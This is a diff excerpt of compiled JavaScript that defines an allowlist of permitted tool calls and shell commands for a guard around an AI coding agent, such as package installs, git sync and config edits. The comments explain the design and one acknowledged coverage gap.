// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.
|
|
217
|
+
// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.
|
|
218
|
+
//
|
|
219
|
+
// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the six
|
|
220
|
+
// named exports stay the vocabulary (and keep their own tests), this union is the decision.
|
|
221
|
+
//
|
|
222
|
+
// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the
|
|
223
|
+
// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an
|
|
224
|
+
// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.
|
|
225
|
+
// ---------------------------------------------------------------------------
|
|
226
|
+
/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */
|
|
227
|
+
class L0Call {
|
|
228
|
+
toolName;
|
|
229
|
+
command;
|
|
230
|
+
filePath;
|
|
231
|
+
constructor(toolName, command, filePath) {
|
|
232
|
+
this.toolName = toolName;
|
|
233
|
+
this.command = command;
|
|
234
|
+
this.filePath = filePath;
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
exports.L0Call = L0Call;
|
|
238
|
+
/**
|
|
239
|
+
* One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.
|
|
240
|
+
*
|
|
241
|
+
* `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the
|
|
242
|
+
* webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —
|
|
243
|
+
* it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.
|
|
244
|
+
*/
|
|
245
|
+
class L0AllowEntry {
|
|
246
|
+
label;
|
|
247
|
+
kind;
|
|
248
|
+
ere;
|
|
249
|
+
js;
|
|
250
|
+
sample;
|
|
251
|
+
constructor(label, kind, ere, js, sample) {
|
|
252
|
+
this.label = label;
|
|
253
|
+
this.kind = kind;
|
|
254
|
+
this.ere = ere;
|
|
255
|
+
this.js = js;
|
|
256
|
+
this.sample = sample;
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
exports.L0AllowEntry = L0AllowEntry;
|
|
260
|
+
exports.L0_ALLOWLIST = [
|
|
261
|
+
new L0AllowEntry('any Read', 'pass', null, null, new L0Call('Read', '', 'README.md')),
|
|
262
|
+
new L0AllowEntry(`a Write/Edit whose target is ${rules_config_1.CONFIG_FILENAME}`, 'pass', null, null, new L0Call('Edit', '', `/repo/${rules_config_1.CONFIG_FILENAME}`)),
|
|
263
|
+
new L0AllowEntry('pnpm|npm install', 'allow', INSTALLER_BODY_ERE, INSTALLER_BODY_JS, new L0Call('Bash', 'pnpm install', '')),
|
|
264
|
+
new L0AllowEntry(`${exports.RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', RECOVERY_BODY_ERE, RECOVERY_BODY_JS, new L0Call('Bash', exports.RECOVERY_CMD, '')),
|
|
265
|
+
// webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call
|
|
266
|
+
new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', SYNC_BODY_ERE, SYNC_BODY_JS, new L0Call('Bash', 'git pull', '')),
|
|
267
|
+
new L0AllowEntry(exports.UPGRADE_SHIM_CMD, 'allow', UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS, new L0Call('Bash', exports.UPGRADE_SHIM_CMD, '')),
|
|
268
|
+
new L0AllowEntry(exports.RESTORE_SHIM_CMD, 'allow', RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS, new L0Call('Bash', exports.RESTORE_SHIM_CMD, '')),
|
|
269
|
+
new L0AllowEntry(exports.INSTALL_HOOKS_CMD, 'allow', INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS, new L0Call('Bash', exports.INSTALL_HOOKS_CMD, '')),
|
|
270
|
+
];
|
|
271
|
+
const L0_BODIES_ERE = exports.L0_ALLOWLIST.flatMap((e) => (e.ere === null ? [] : [e.ere]));
|
|
272
|
+
const L0_BODIES_JS = exports.L0_ALLOWLIST.flatMap((e) => (e.js === null ? [] : [e.js]));
|
|
273
|
+
// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every
|
|
274
|
+
// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /
|
|
275
|
+
// trailing `2>&1 | tail -N` are tolerated.
|
|
276
|
+
exports.L0_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + exports.CAPTURE_TAIL_ERE;
|
|
277
|
+
// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.
|
|
278
|
+
exports.L0_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + exports.CAPTURE_TAIL_JS_SRC);
|
|
279
|
+
// The non-Bash half of the same list, kept here so sh and JS answer the identical question.
|
|
280
|
+
//
|
|
281
|
+
// `Read` is on the list because you must be able to READ to know how to fix — the original
|
|
282
|
+
// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the
|
|
283
|
+
// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read
|
|
284
|
+
// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never
|
|
285
|
+
// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this
|
|
286
|
+
// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.
|
|
287
|
+
exports.READ_TOOLS = new Set(['Read']);
|
|
288
|
+
/**
|
|
289
|
+
* `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.
|
|
290
|
+
*
|
|
291
|
+
* Returns the OUTCOME KIND, because the two are not the same thing:
|
|
292
|
+
* - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).
|
|
293
|
+
* - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream
|
|
294
|
+
* guard would block it.
|
|
295
|
+
* - null → not on the list.
|
|
296
|
+
*/
|
|
297
|
+
// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)
|
|
298
|
+
function isAllowed(toolName, command, filePath) {
|
|
299
|
+
if (exports.READ_TOOLS.has(toolName))
|
|
300
|
+
return 'pass';
|
|
301
|
+
if (path.basename(filePath) === rules_config_1.CONFIG_FILENAME)
|
|
302
|
+
return 'pass';
|
|
303
|
+
if (exports.L0_ALLOW_JS.test(command.trim()))
|
|
304
|
+
return 'allow';
|
|
305
|
+
return null;
|
|
306
|
+
}
|
|
307
|
+
//# sourceMappingURL=l0-allowlist.js.map
|